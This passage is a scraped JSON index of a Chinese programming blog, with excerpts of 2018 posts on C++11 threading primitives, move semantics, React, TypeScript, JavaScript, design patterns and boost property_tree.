threadsafe_queue(threadsafe_queue const\u0026 other) 17 { 18 std::lock_guard\u003cstd::mutex\u003e lk(other.mut); 19 data_queue=other.data_queue; 20 } 21 22 void push(T new_value) 23 { 24 std::lock_guard\u003cstd::mutex\u003e lk(mut); 25 data_queue.push(new_value); 26 data_cond.notify_one(); 27 } 28 29 void wait_and_pop(T\u0026 value) 30 { 31 std::unique_lock\u003cstd::mutex\u003e lk(mut); 32 data_cond.wait(lk,[this]{re","date":"2018-09-23","externalUrl":null,"permalink":"/2018/09/condition_variable-notes/","section":"Posts","summary":"condition_variable 类是同步原语，能用于阻塞一个线程，或同时阻塞多个线程，直至另一线程修改共享变量（条件）并通知 condition_variable 。","tags":["cpp","modern cpp","condition_variable"],"title":"[C++11]std::condition_variable  notes","type":"post"},{"categories":["工程"],"content":"多线程保护数据时，一种较为特殊的情况是只需要保护资源的初始化。 资源初始化一般遵循\"lazy initialization\"的原则，也就是在用到该资源最近的地方再初始化。 比较容易想到的办法是用std::mutex，将资源初始化的地方锁起来，如下: 1 std::shared_ptr\u003csome_resource\u003e resource_ptr; 2 std::mutex resource_mutex; 3 void foo() 4 { 5 std::unique_lock\u003cstd::mutex\u003e lk(resource_mutex); 6 if(!resource_ptr) 7 { 8 resource_ptr.reset(new some_resource); 9 } 10 lk.unlock(); 11 resource_ptr-\u003edo_something(); 12 } 这确实是一个办法。但是初始化时如果需要耗费比较多的时间，当有比较多的线程时，一个线程初始化时，其他线程会耗时间在不必要的等待上。 在c++11以后，我们可以使用std::once_flag和std::call_once来解决资源初始化时加锁的问题。比起显示调用std::mutex的好处是，资源消耗更少。 下面是两个例子: 1 std::shared_ptr\u003csome_resource\u003e resource_ptr; 2 std::once_flag resource_flag; 3 b 4 void init_resource() 5 { 6 resource_ptr.reset(new some_resource); 7 } 8 void foo() 9 { 10 std::call_once(resource_flag,init_resource); 11 resource_ptr-\u003edo_something(); 12 } 13 14 15 16 17 class X 18 { 19 private: 20 connection_info connection_details; 21 connection_handle connection; 22 std::once_flag connection_init_flag; 23 void open_connection() 24 { 25 connection=connection_manager.open(connection_details); 26 } 27 public:62 28 C HAPTER 3 Sharing data between threads 29 X(connection_info const\u0026 connection_details_): 30 connection_details(connection_details_) 31 {} 32 void send_data(data_packet const\u0026 data) 33 { 34 std::call_once(connection_init_flag,\u0026X::open_connection,this); 35 connection.send_data(data); 36 } 37 data_packet receive_data() 38 { 39 std::call_once(connection_init_flag,\u0026X::open_connection,this); 40 return connection.receive_data(); 41 } 42 b 43 d 44 c 45 }; 或者更一般地，可以解决一类在多线程环境下保证某段代码只执行一次的问题。 比如声明的一个static 变量。 参考资料: std::call_once once_flag","date":"2018-09-20","externalUrl":null,"permalink":"/2018/09/stdcall_once-stdonce_flag-notes/","section":"Posts","summary":"多线程保护数据时，一种较为特殊的情况是只需要保护资源的初始化。","tags":["cpp","modern cpp","call_once","once_flag"],"title":"std::call_once \u0026\u0026 std::once_flag  notes","type":"post"},{"categories":["工程"],"content":"起因是想更新一个array类型的state,结果setState更新之后用console.log() debug 结果，发现结果特别玄学。。。 查了下发现this.setState是个异步操作。。。 参考资料: 深入理解React 组件状态（State） React中setState同步更新策略 https://react.docschina.org/docs/react-component.html","date":"2018-09-18","externalUrl":null,"permalink":"/2018/09/react-setstate-Update-strategy/","section":"Posts","summary":"起因是想更新一个array类型的state,结果setState更新之后用console.log() debug 结果，发现结果特别玄学。。。","tags":["react","前端"],"title":"react 中setState的更新策略","type":"post"},{"categories":["工程"],"content":"先放资料: Learning a New Programming Language: Java for C++ Programmers java package # 先说几条重要的人话: * 一个java文件第一行可以声明该文件所属于的package，package的名字必须与整个工作目录的路径名相同。 * 同一个package下的class默认有互相访问的权限。 * 访问属性设置为public的class，如果该class所在的file声明了package，那么可以被其他package下的class访问到。 * .java的文件名必须与文件中设置为public的class名保持一致（如果没有public的类，那么名称任意) Every class is part of some package. All classes in a file are part of the same package. You can specify the package using a package declaration: package name ; as the first (non-comment) line in the file. Multiple files can specify the same package name. If no package is specified, the classes in the file go into a special unnamed package (the same unnamed package for all files). If package name is specified, the file must be in a subdirectory called name (i.e., the directory name must match the package name). You can access public classes in another (named) package using:_package-name.class-name_You can access the public fields and methods of such classes using:_package-name.class-name.field-or-method-name_You can avoid having to include the package-name using: import package-name .*; or import package-name.class-name ; at the beginning of the file (after the package declaration). The former imports all of the classes in the package, and the second imports just the named class. You must still use:_class-name_to access the classes in the packages, and_class-name.field-or-method-name_to access the fields and methods of the class; the only thing you can leave off is the package name. 下面是一些例子: Assume that you are working in a directory called Javadir, and that you create four files, whose contents are shown below. file 1 package ListPkg; public class List { ... } class ListNode {...} file 2 package ListPkg; public class NoNextItemException { ... } \u003ca name=\"file","date":"2018-09-10","externalUrl":null,"permalink":"/2018/09/learn-java-in-21-minutes-for-c-programmers/","section":"Posts","summary":"先放资料: Learning a New Programming Language: Java for C++ Programmers java package # 先说几条重要的人话:","tags":["java"],"title":"learn java in 21 minutes for C++ Programmers","type":"post"},{"categories":["工程"],"content":"背景 # move semantics是modern cpp中非常重要的特性，有必要详细了解一下。 updateime: 2022年7月2日 move semantic # 基本的内容大家都很熟悉，就不说了 std::move 做了什么 # std::move没有move任何内容，只是简单把传进来转换为对应的rvalue reference 实现为: 1 2template\u003ctypename T\u003e 3constexpr std::remove_reference_t\u003cT\u003e\u0026\u0026 move(T\u0026\u0026 t) noexcept 4{ 5 return static_cast\u003cstd::remove_reference_t\u003cT\u003e\u0026\u0026\u003e(t); 6} 需要强调的是，无论传入的是const or non-const, lvalue or rvalue, ref or non-ref, std::move都会无条件(无差别)地转换为 rvalue refernece 被std::move的值处于一个什么状态 # moved from object is in a valid but unspecified state 说人话就是，对于moved from object，仍然可以对其进行一些操作，但是其state是未知的 我们拆开来看 这里提到的一些操作，其实只有三种: 析构函数 move assigment operator copy assigment operator 其余操作都是非法的。 为什么state是未知的呢？因为这和实现有关 标准只要求moved from object是可以被析构的，但是内部是什么值，其实是不确定的。 参考 cpp core guidelines C.64 Ideally, that moved-from should be the default value of the type. Ensure that unless there is an exceptionally good reason not to. However, not all types have a default value and for some types establishing the default value can be expensive. The standard requires only that the moved-from object can be destroyed. Often, we can easily and cheaply do better: The standard library assumes that it is possible to assign to a moved-from object. Always leave the moved-from object in some (necessarily specified) valid state. 此外，由于moved from object在出了所在的scope后就会调用析构函数，因此称之为一个\"expiring value(Xvalue)\"，也就是临近生命周期终点的\"将亡值\". 详细可以参考 浅谈 Cpp Value Categories when not to use std::move # 最常见的一种情景是，在函数return 时错误地使用了std::move,从而阻止了编译器可能的copy elision 1 2T fn() 3{ 4 T t; 5 return std::move (t); 6} 实际上，编译器会先去尝试做copy elision，如果无法做到，那么会去implicit std::move 因此，无论如何都不要把std::move 用在函数返回值上 forwarding reference # 其实就是universal refernce. forward reference是官方名称 1 2template\u003ctypename T\u003e 3void f(T\u0026\u0026 x); // forwarding reference 4 5auto \u0026\u0026 var2 = var1; // forwarding reference f","date":"2018-09-09","externalUrl":null,"permalink":"/2018/09/cpp-move-semantics-notes/","section":"Posts","summary":"背景 # move semantics是modern cpp中非常重要的特性，有必要详细了解一下。","tags":["cpp","perfect forwarding"],"title":"[施工中][c++11] move semantics \u0026\u0026 perfect forwarding 学习笔记","type":"post"},{"categories":["工程"],"content":"起因是在看《CplusplusConcurrencyInAction_PracticalMultithreading》的时候，里面讲到初始化std::thread的时候，如果thread funtion的参数列表中有引用，需要传入std::ref才可以得到符合预期的结果。 查阅发现std::ref是用来生成std::reference_wrapper。 按照 cppreference 上的话来说 std::reference_wrapper 是包装引用于可复制、可赋值对象的类模板。它常用作将容器存储入无法正常保有引用的标准容器（类似 std::vector ）的机制。 用人话来说，就是有的时候一些地方（比如STL容器中传值，又比如std::bind）会默认使用复制，这可能与我们想使用引用的期望不符。 具体见下面的几个例子： 1 #include \u003cfunctional\u003e 2 #include \u003ciostream\u003e 3 4 void f(int\u0026 n1, int\u0026 n2, const int\u0026 n3) 5 { 6 std::cout \u003c\u003c \"In function: \" \u003c\u003c n1 \u003c\u003c ' ' \u003c\u003c n2 \u003c\u003c ' ' \u003c\u003c n3 \u003c\u003c '\\n'; 7 ++n1; // increments the copy of n1 stored in the function object 8 ++n2; // increments the main()'s n2 9 // ++n3; // compile error 10 } 11 12 int main() 13 { 14 int n1 = 1, n2 = 2, n3 = 3; 15 std::function\u003cvoid()\u003e bound_f = std::bind(f, n1, std::ref(n2), std::cref(n3)); 16 n1 = 10; 17 n2 = 11; 18 n3 = 12; 19 std::cout \u003c\u003c \"Before function: \" \u003c\u003c n1 \u003c\u003c ' ' \u003c\u003c n2 \u003c\u003c ' ' \u003c\u003c n3 \u003c\u003c '\\n'; 20 bound_f(); 21 std::cout \u003c\u003c \"After function: \" \u003c\u003c n1 \u003c\u003c ' ' \u003c\u003c n2 \u003c\u003c ' ' \u003c\u003c n3 \u003c\u003c '\\n'; 22 } 23Before function: 10 11 12 24In function: 1 11 12 25After function: 10 12 12 我们发现直接传进去的参数n1的值没有改变，而使用std::ref传进去的值的结果符合预期。 n1的值不符合预期的原因是，在调用std::bind的时候，会先将参数复制一份，然后传入函数f时，传入的不是在main函数中定义的n1的引用，而是对n1复制了一份得到的临时变量的引用。在函数f中对n1的修改只会使得n1的复制值与其保持一致，而不会改变n1. 下面是一个关于std::reference_wrapper 的例子 1 #include \u003calgorithm\u003e 2 #include \u003clist\u003e 3 #include \u003cvector\u003e 4 #include \u003ciostream\u003e 5 #include \u003cnumeric\u003e 6 #include \u003crandom\u003e 7 #include \u003cfunctional\u003e 8 9 int main() 10 { 11 std::list\u003cint\u003e l(10); 12 std::iota(l.begin(), l.end(), -4); 13 14 std::vector\u003cstd::reference_wrapper\u003cint\u003e\u003e v(l.begin(), l.end()); 15 // 不能在 list 上用 shuffle （要求随机访问），但能在 vector 上使用它 16 std::shuffle(v.begin(), v.end(), std::mt19937{std::random_device{}()}); 17 18 std::cout \u003c\u003c \"Contents of the list: \"; 19 for (int n : l) std::cou","date":"2018-09-09","externalUrl":null,"permalink":"/2018/09/reference_wrapper-notes/","section":"Posts","summary":"起因是在看《CplusplusConcurrencyInAction_PracticalMultithreading》的时候，里面讲到初始化std::thread的时候，如果thread funtion的参数列表中有引用，需要传入std::ref才可以得到符合预期的结果。","tags":["cpp","modern cpp"],"title":"[C++11 ] std::ref\u0026\u0026std::reference_wrapper  notes","type":"post"},{"categories":["工程"],"content":"20181014update: 可以不写了，开心 迫于生计，要从零开始学习前端。 由于之前的to do list 年代久远+ 前端的技术栈可之前几乎没有关系，因此新开一篇记录。 * css盒子模型 * 布局,flex * 前端debug的方法 * \u003cdel\u003ejavascript,\u003c/del\u003e有空可以使用js刷leetcode练习语法 * \u003cdel\u003etypescript\u003c/del\u003e * jsx，以及jsx的typescript版tsx * 学习axios https://alligator.io/react/axios-react/ * 学习dva: https://github.com/sorrycc/blog/issues/62 * 学习umijs https://umijs.org/zh/guide/with-dva.html#","date":"2018-09-06","externalUrl":null,"permalink":"/2018/09/front-end-to-do-list/","section":"Posts","summary":"20181014update: 可以不写了，开心 迫于生计，要从零开始学习前端。 由于之前的to do list 年代久远+ 前端的技术栈可之前几乎没有关系，因此新开一篇记录。","tags":["前端"],"title":"前端To do list","type":"post"},{"categories":["工程"],"content":"先放参考资料: TypeScript 入门教程 React \u0026 Webpack react-typescript-cheatsheet (强推一波，讲了很多react+ts的实践） typescript是javascript的语法扩展。。。好处是提供了类型。。可以在编译（结果为js文件)的时候提供静态的类型检查。。。 typescript的问号语法:标记某个参数为可选。 例子: 1export class Thread { 2 id: string; 3 lastMessage: Message; 4 name: string; 5 avatarSrc: string; 6 7 constructor(id?: string, 8 name?: string, 9 avatarSrc?: string) { 10 this.id = id || uuid(); 11 this.name = name; 12 this.avatarSrc = avatarSrc; 13 } 14} 关于typescript的类型推断。。如果在定义时直接赋值则会进行推断，否则会推断类型为any. 1let myFavoriteNumber = 'seven'; 2myFavoriteNumber = 7; 3 4// index.ts(2,1): error TS2322: Type 'number' is not assignable to type 'string'. 5//上面的写法会编译错误，原因是定义时已经推断类型为string 6//但是下面的写法没有问题 7 8let myFavoriteNumber; 9myFavoriteNumber = 'seven'; 10myFavoriteNumber = 7; 11 12 13 14 15 16let myFavoriteNumber: string | number; 17myFavoriteNumber = 'seven'; 18myFavoriteNumber = 7; 19 20这里的 let myFavoriteNumber: string | number 的含义是， 21允许 myFavoriteNumber 的类型是 string 或者 number，但是不能是其他类型。 当 TypeScript 不确定一个联合类型的变量到底是哪个类型的时候，我们只能访问此联合类型的所有类型里共有的属性或方法 1function getLength(something: string | number): number { 2 return something.length; 3} 4 5// index.ts(2,22): error TS2339: Property 'length' does not exist on type 'string | number'. 6// Property 'length' does not exist on type 'number'. 类型断言: 1functionf getLength(something: string | number): number { 2 if ((\u003cstring\u003esomething).length) { 3 return (\u003cstring\u003esomething).length; 4 } else { 5 return something.toString().length; 6 } 7} 类型断言不是类型转换，断言成一个联合类型中不存在的类型是不允许的 泛型: 1function createArray\u003cT\u003e(length: number, value: T): Array\u003cT\u003e { 2 let result: T[] = []; 3 for (let i = 0; i \u003c length; i++) { 4 result[i] = value; 5 } 6 return result; 7} 8 9createArray\u003cstring\u003e(3, 'x'); // ['x', 'x', 'x'] 10 11 12 13 14function swap\u003cT, U\u003e(tuple: [T, U]): [U, T] { 15 retu","date":"2018-09-05","externalUrl":null,"permalink":"/2018/09/typescript-notes/","section":"Posts","summary":"先放参考资料: TypeScript 入门教程 React \u0026 Webpack react-typescript-cheatsheet (强推一波，讲了很多react+ts的实践）","tags":["typescript","前端"],"title":"typescript学习笔记","type":"post"},{"categories":["工程"],"content":"最近在学习node.js，里面讲到node.js的事件机制使用了观察者模式，因此来学习一下。 观察者模式的目的是定义对象间的一种一对多的依赖关系，当一个对象的状态发生改变时，所有依赖于它的对象都得到通知并被自动更新。 因此观察者模式又叫发布-订阅模式。 下面放一个简化之后的例子: 1 2 3 #include \u003ciostream\u003e 4 #include \u003cvector\u003e 5 #include \u003cstring\u003e 6 using namespace std; 7 class Secretary; 8 // 看股票的同事类（观察对象，观察者） 9 class StockObserver 10 { 11 public: 12 StockObserver(string strName, Secretary* strSub) 13 { 14 name = strName; 15 sub = strSub; 16 } 17 18 void Update(); 19 20 private: 21 string name; 22 Secretary* sub;我所理解的设计模式（C++实现）——观察者模式（Observer Pattern） 23 }; 24 25 // 秘书类（主题对象，通知者） 26 class Secretary 27 { 28 29 public: 30 string action; 31 void Add(StockObserver ob) { observers.push_back(ob); } 32 void Remove(int addIndex) 33 { 34 if(addIndex \u003e=0 \u0026\u0026 addIndex \u003c observers.size()) 35 observers.erase(observers.begin() + addIndex); 36 } 37 void Notify() 38 { 39 vector\u003cStockObserver\u003e::iterator it; 40 for (it=observers.begin(); it!=observers.end(); ++it) 41 { 42 (*it).Update(); 43 } 44 } 45 46 private: 47 vector\u003cStockObserver\u003e observers; 48 }; 49 50 51 52 53 void StockObserver::Update() 54 { 55 cout \u003c\u003c name \u003c\u003c \" : \" \u003c\u003c sub-\u003eaction \u003c\u003c \", begin to work\" \u003c\u003c endl; 56 } 57 58 int main() 59 { 60 // 创建通知者 61 Secretary* p = new Secretary(); 62 63 // 观察者 64 StockObserver* s1 = new StockObserver(\"Lazy\", p); 65 StockObserver* s2 = new StockObserver(\"SnowFire\", p); 66 67 // 加入通知队列 68 p-\u003eAdd(*s1); 69 p-\u003eAdd(*s2); 70 71 // 事件 72 p-\u003eaction = \"The boss is coming...\"; 73 74 // 通知 75 p-\u003eNotify(); 76 77 // 动态删除 78 p-\u003eRemove(0); 79 80 p-\u003eNotify(); 81 82 return 0; 83 84 update:怪不得觉得熟悉，原来Qt的信号槽机制Signals_and_slots 就是使用了观察者模式。 参考资料: 观察者模式-菜鸟教程 我所理解的设计模式（C++实现）——观察者模式（Observer Pattern）","date":"2018-09-01","externalUrl":null,"permalink":"/2018/09/observer-pattern-notes/","section":"Posts","summary":"最近在学习node.js，里面讲到node.js的事件机制使用了观察者模式，因此来学习一下。","tags":["观察者模式","设计模式","cpp"],"title":"[设计模式] 观察者( Observer )模式学习笔记","type":"post"},{"categories":["工程"],"content":"Redux是Flux架构的一种实现。 至于Flux架构是什么，可以参考Flux 架构入门教程 粗略得讲，和MVC架构是同一类东西，最大的区别是单向数据流，禁止了Model和VIEW层之间数据的流动。","date":"2018-08-30","externalUrl":null,"permalink":"/2018/08/redux-notes/","section":"Posts","summary":"Redux是Flux架构的一种实现。 至于Flux架构是什么，可以参考Flux 架构入门教程","tags":["Redux","前端"],"title":"Redux 学习笔记","type":"post"},{"categories":["工程"],"content":"暂时没空从头开始搞…用到哪里先记录一下好了orz 我觉得不行，还是要先大致了解一下。 参考资料: A re-introduction to JavaScript (JS tutorial) 继承与原型链 1// 让我们假设我们有一个对象 o, 其有自己的属性 a 和 b： 2// {a: 1, b: 2} 3// o 的 [[Prototype]] 有属性 b 和 c： 4// {b: 3, c: 4} 5// 最后, o.[[Prototype]].[[Prototype]] 是 null. 6// 这就是原型链的末尾，即 null， 7// 根据定义，null 没有[[Prototype]]. 8// 综上，整个原型链如下: 9// {a:1, b:2} ---\u003e {b:3, c:4} ---\u003e null 10 11console.log(o.a); // 1 12// a是o的自身属性吗？是的，该属性的值为1 13 14console.log(o.b); // 2 15// b是o的自身属性吗？是的，该属性的值为2 16// 原型上也有一个'b'属性,但是它不会被访问到.这种情况称为\"属性遮蔽 (property shadowing)\" 17 18console.log(o.c); // 4 19// c是o的自身属性吗？不是，那看看原型上有没有 20// c是o.[[Prototype]]的属性吗？是的，该属性的值为4 21 22console.log(o.d); // undefined 23// d是o的自身属性吗？不是,那看看原型上有没有 24// d是o.[[Prototype]]的属性吗？不是，那看看它的原型上有没有 25// o.[[Prototype]].[[Prototype]] 为 null，停止搜索 26// 没有d属性，返回undefined 27 28 29 30 31 hasOwnProperty方法,用来检查对象是否有自己定义的属性，而不是从原型链上继承的属性。 32该方法不需要遍历原型链。 33function Graph() { 34 this.vertices = []; 35 this.edges = []; 36} 37 38Graph.prototype = { 39 addVertex: function(v){ 40 this.vertices.push(v); 41 } 42}; 43 44console.log(g.hasOwnProperty('vertices')); 45// true 46 47console.log(g.hasOwnProperty('nope')); 48// false 49 50console.log(g.hasOwnProperty('addVertex')); 51// false 52 53console.log(g.__proto__.hasOwnProperty('addVertex')); 54// true 55 56var g = new Graph(); 57// g是生成的对象,他的自身属性有'vertices'和'edges'. 58// 在g被实例化时,g.[[Prototype]]指向了Graph.prototype. 59 60 61 62 63 64const array1 = [1, 2, 3, 4]; 65const reducer = (accumulator, currentValue) =\u003e accumulator + currentValue; 66 67// 1 + 2 + 3 + 4 68console.log(array1.reduce(reducer)); 69// expected output: 10 70 71// 5 + 1 + 2 + 3 + 4 72console.log(array1.reduce(reducer, 5)); 73// expected output: 15 74 75 76 77 78const object1 = { 79 a: 1, 80 b: 2, 81 c: 3, 82 a: 4 83}; 84 85const object2 = Object.assign(","date":"2018-08-30","externalUrl":null,"permalink":"/2018/08/javascript-notes/","section":"Posts","summary":"暂时没空从头开始搞…用到哪里先记录一下好了orz","tags":["JavaScript","前端"],"title":"JavaScript 学习笔记","type":"post"},{"categories":["工程"],"content":"首先介绍一个fb家的快速开发react的工具 create-react-app 这个东西依赖node6.0或者更高版本。 关于在ubuntu 14.04上安装node ，可以参考这个链接 发现执行nvm install 6.0会没有任何相应…但是实际上已经安装好了。 接下来安装create-react-app 命令是: npm install –global create-react-app 然后创建一个react app 命令为:create-react-app first_react_app 挂着代理大概需要半小时左右。 或者可以使用淘宝npm镜像: 设置方法为：npm config set registry https://registry.npm.taobao.org，设置完成后，重新执行create-react-app first-app 实现的第一个组件，功能是点击按钮增加计数… 1import React, { Component } from 'react'; 2class ClickCounter extends Component{ 3 constructor(props){ 4 super(props); 5 this.onClickButton = this.onClickButton.bind(this); 6 this.state = {count:0}; 7 } 8 onClickButton(){ 9 this.setState({count: this.state.count+1}); 10 } 11 12 render(){ 13 return( 14 \u003cdiv\u003e 15 \u003cbutton onClick={this.onClickButton}\u003eWho am I?\u003c/button\u003e 16 \u003cdiv\u003e 17 click Count: {this.state.count} 18 \u003c/div\u003e 19 \u003c/div\u003e 20 21 ) 22 } 23} 24export default ClickCounter; JSX是JS的语法扩展。JSX中使用的元素包含html中的元素和React中的组件。React 判断一个元素是 HTML 元素还是 React 组件的原则就是看第一个字母是否大 写。 React设计上的分离是逻辑上的分离，而不是技术上的分离。如果是要实现一件事，就会把CSS,html,JS三种语言混在一起。 React的数据分为prop(property)和state两种。区别是: * prop 用于定义外部接口, state 用于记录内部状态; * prop 的赋值在外部世界使用组件时, state 的赋值在组件内部; * 组件不应该改变 prop 的值,而 state 存在的目的就是让组件来改变的 扩展属性: 1function App1() { 2 return \u003cGreeting firstName=\"Ben\" lastName=\"Hector\" /\u003e; 3} 4 5function App2() { 6 const props = {firstName: 'Ben', lastName: 'Hector'}; 7 return \u003cGreeting {...props} /\u003e; 8} react父组件获得子组件的值 参考资料: react.express React + antd怎么上传图片","date":"2018-08-28","externalUrl":null,"permalink":"/2018/08/react-notes/","section":"Posts","summary":"首先介绍一个fb家的快速开发react的工具 create-react-app 这个东西依赖node6.0或者更高版本。","tags":["react","前端"],"title":"react学习笔记","type":"post"},{"categories":["其他"],"content":"目的是忽略单一对象和组合对象的不同。 有点像以前写过的用链表定义一个树结构，每个节点是一个val + 多个tree 。如果某个节点是叶子节点了，那么对应的tree都为NULL. 只不过这里用了更加面向对象的实现。 具体看代码： 1/* *********************************************** 2Author :111qqz 3mail: renkuanze@sensetime.com 4Created Time :2018年08月28日 星期二 14时21分51秒 5File Name :composite.cpp 6************************************************ */ 7#include \u003ciostream\u003e 8#include \u003clist\u003e 9#include \u003cstring\u003e 10using namespace std; 11 12class Component { // 为组合中的对象声明接口，在适当情况下，实现所有类共有接口的默认行为 13protected: 14 string name; 15public: 16 Component(string n) { name = n; } 17 virtual ~Component() {} 18 virtual void Add(Component* c) = 0; 19 virtual void Remove(Component* c) = 0; 20 virtual void Display(int depth) = 0; 21}; 22 23class Leaf : public Component { // 在组合中表示叶节点对象，叶节点没有子节点 24public: 25 Leaf(string name) : Component(name) {} 26 void Add(Component* c){} // 叶节点没有Add功能，但这样做能使接口具备一致性，这就是透明方式，如果不加入Add和Remove方法，那就是安全方式。 27 void Remove(Component* c){} // 同上 28 void Display(int depth) { cout \u003c\u003c name \u003c\u003c \" \" \u003c\u003c depth \u003c\u003c endl; } 29}; 30 31class Composite : public Component { // 定义有枝节点行为，用来存储子部件 32private: 33 list\u003cComponent* \u003e children; 34public: 35 Composite(string name) : Component(name) {} 36 void Add(Component* c) { children.push_back(c); } 37 void Remove(Component* c) { children.remove(c); } 38 void Display(int depth) { 39 cout \u003c\u003c name \u003c\u003c \" \" \u003c\u003c depth \u003c\u003c endl; 40 for (auto c = children.begin(); c != children.end(); c++) { 41 (*c)-\u003eDisplay(depth+1); 42 } 43 } 44}; 45 46int main() { // 客户端实现代码 47 Composite* root = new Composite(\"root\"); 48 root-\u003eAdd(new Leaf(\"Leaf A\")); 49 root-\u003eAdd(new Leaf(\"Leaf B\")); 50 51 Composite* comp = new Composite(\"Composite X\"); 52 comp-\u003eAdd(new Leaf(\"Leaf XA\")); 53 comp-\u003eAdd(new Leaf(\"Leaf XB\")); 54 root-\u003eAdd(comp); 55 56 Composite* comp2 = new Composite(\"Composite XY\"); ","date":"2018-08-28","externalUrl":null,"permalink":"/2018/08/Composite-Pattern-notes/","section":"Posts","summary":"目的是忽略单一对象和组合对象的不同。 有点像以前写过的用链表定义一个树结构，每个节点是一个val + 多个tree 。如果某个节点是叶子节点了，那么对应的tree都为NULL. 只不过这里用了更加面向对象的实现。","tags":["组合模式","设计模式","c++"],"title":"[设计模式] 组合模式（composite） 学习笔记","type":"post"},{"categories":["工程"],"content":"用人话就是，主线程传给附属线程一个promise Object,然后主线程想要获取附属线程set给promise Object的值（也就是该线程返回的某个结果），需要通过主线程中的promise object 得到对应的future object(每个promise 对应一个 future),然后调用future 的get方法。如果附属线程没有执行作为参数传入的promise的set方法去返回结果，那么程序就会block住。 1 /* *********************************************** 2 Author :111qqz 3 mail: renkuanze@sensetime.com 4 Created Time :2018年08月23日 星期四 10时37分07秒 5 File Name :future_sample.cpp 6 ************************************************ */ 7 8 #include \u003ciostream\u003e 9 #include \u003cthread\u003e 10 #include \u003cfuture\u003e 11 12 void initiazer(std::promise\u003cint\u003e * promObj) 13 { 14 //std::cout\u003c\u003c\"Inside Thread\"\u003c\u003cstd::endl; 15 for ( int i = 1 ; i \u003c= 2000000000 ; i++); 16 //promObj-\u003eset_value(35); 17 } 18 19 int main() 20 { 21 std::promise\u003cint\u003e promiseObj; 22 std::future\u003cint\u003e futureObj = promiseObj.get_future(); 23 std::thread th(initiazer, \u0026promiseObj); 24 std::cout\u003c\u003cfutureObj.get()\u003c\u003cstd::endl; 25 th.join(); 26 return 0; 27 } 28 参考资料: C++11 Multithreading – Part 7: Condition Variables Explained","date":"2018-08-23","externalUrl":null,"permalink":"/2018/08/promise-future-notes/","section":"Posts","summary":"用人话就是，主线程传给附属线程一个promise Object,然后主线程想要获取附属线程set给promise Object的值（也就是该线程返回的某个结果），需要通过主线程中的promise object 得到对应的future object(每个promise 对应一个 future),然后调用future 的get方法。如果附属线程没有执行作为参数传入的promise的set方法去返回结果，那么程序就会block住。","tags":["cpp","modern cpp","future","promise"],"title":"[C++11] promise \u0026\u0026 future leanrning notes","type":"post"},{"categories":["工程"],"content":"1 std::vector\u003cunsigned char\u003e readFromFile1(const char* filePath) { 2 FILE* file = fopen(filePath, \"rb\"); 3 std::vector\u003cunsigned char\u003e result; 4 if (file == nullptr) { 5 return result; 6 } 7 8 // 获取文件大小，尽量一次读完 9 size_t fileSize = getFileSize(file); 10 if (fileSize != 0) { 11 result.resize(fileSize); 12 size_t n = fread(\u0026result[0], 1, fileSize, file); 13 assert(n \u003c= fileSize); 14 if (n != fileSize) { 15 result.resize(n); 16 } 17 } 18 19 // 在读取过程当中，有可能文件大小有变化，再尝试读取 20 const size_t read_len = 1024; 21 char buf[read_len]; 22 for (;;) { 23 size_t n = fread(buf, 1, read_len, file); 24 result.insert(result.end(), buf, buf + n); 25 if (n \u003c read_len) { 26 break; 27 } 28 } 29 fclose(file); 30 return result; 31 } 另外一种C++风格，但是性能较差的方法： 1 2 std::vector\u003cunsigned char\u003e readFromFile2(const char* filePath) { 3 std::ifstream inputFile(filePath, std::ios::binary); 4 std::vector\u003cunsigned char\u003e fileData((std::istreambuf_iterator\u003cchar\u003e(inputFile)), 5 std::istreambuf_iterator\u003cchar\u003e()); 6 return fileData; 7 } 8 9","date":"2018-08-21","externalUrl":null,"permalink":"/2018/08/how-to-read-binary-data-into-cpp-vector/","section":"Posts","summary":"1 std::vector\u003cunsigned char\u003e readFromFile1(const char* filePath) { 2 FILE* file = fopen(filePath, \"rb\"); 3 std::vector\u003cunsigned char\u003e result; 4 if (file == nullptr) { 5 return result; 6 } 7 8 // 获取文件大小，尽量一次读完 9 size_t fileSize = getFileSize(file); 10 if (fileSize != 0) { 11 result.resize(fileSize); 12 size_t n = fread(\u0026result[0], 1, fileSize, file); 13 assert(n \u003c= fileSize); 14 if (n != fileSize) { 15 result.resize(n); 16 } 17 } 18 19 // 在读取过程当中，有可能文件大小有变化，再尝试读取 20 const size_t read_len = 1024; 21 char buf[read_len]; 22 for (;;) { 23 size_t n = fread(buf, 1, read_len, file); 24 result.insert(result.end(), buf, buf + n); 25 if (n \u003c read_len) { 26 break; 27 } 28 } 29 fclose(file); 30 return result; 31 } 另外一种C++风格，但是性能较差的方法：","tags":["cpp"],"title":"把二进制文件按字节读到vector中","type":"post"},{"categories":["工程"],"content":"先放资料: How to use boost::property_tree to load and write JSON How to iterate a boost property tree? 不出现key的方法遍历一个json文件: 1 /* *********************************************** 2 Author :111qqz 3 mail: renkuanze@sensetime.com 4 Created Time :2018年08月17日 星期五 15时29分23秒 5 File Name :ptree.cpp 6 ************************************************ */ 7 #include \u003cboost/property_tree/ptree.hpp\u003e 8 #include \u003cboost/property_tree/json_parser.hpp\u003e 9 #include \u003cbits/stdc++.h\u003e 10 #include \u003cvector\u003e 11 using namespace std; 12 using boost::property_tree::ptree; 13 14 string indent(int level) { 15 string s; 16 for (int i=0; i\u003clevel; i++) s += \" \"; 17 return s; 18 } 19 20 void printTree (ptree \u0026pt, int level) { 21 if (pt.empty()) { 22 cerr \u003c\u003c \"\\\"\"\u003c\u003c pt.data()\u003c\u003c \"\\\"\"; 23 } 24 25 else { 26 if (level) cerr \u003c\u003c endl; 27 28 cerr \u003c\u003c indent(level) \u003c\u003c \"{\" \u003c\u003c endl; 29 30 for (ptree::iterator pos = pt.begin(); pos != pt.end();) { 31 cerr \u003c\u003c indent(level+1) \u003c\u003c \"\\\"\" \u003c\u003c pos-\u003efirst \u003c\u003c \"\\\": \"; 32 33 printTree(pos-\u003esecond, level + 1); 34 ++pos; 35 if (pos != pt.end()) { 36 cerr \u003c\u003c \",\"; 37 } 38 cerr \u003c\u003c endl; 39 } 40 41 cerr \u003c\u003c indent(level) \u003c\u003c \" }\"; 42 } 43 44 return; 45 } 46 int main() 47 { 48 ptree root; 49 read_json(\"terr.json\",root); 50 printTree(root,0); 51 52 53 return 0; 54 55 } 56","date":"2018-08-20","externalUrl":null,"permalink":"/2018/08/boost_property_tree-notes/","section":"Posts","summary":"先放资料: How to use boost::property_tree to load and write JSON How to iterate a boost property tree? 不出现key的方法遍历一个json文件:","tags":["boost","json","cpp","property_tree"],"title":"boost:property_tree 学习笔记","type":"post"},{"categories":["工程"],"content":"编译某代码，发现报错某函数未定义的引用。该函数的是先前编译得到的动态库中。 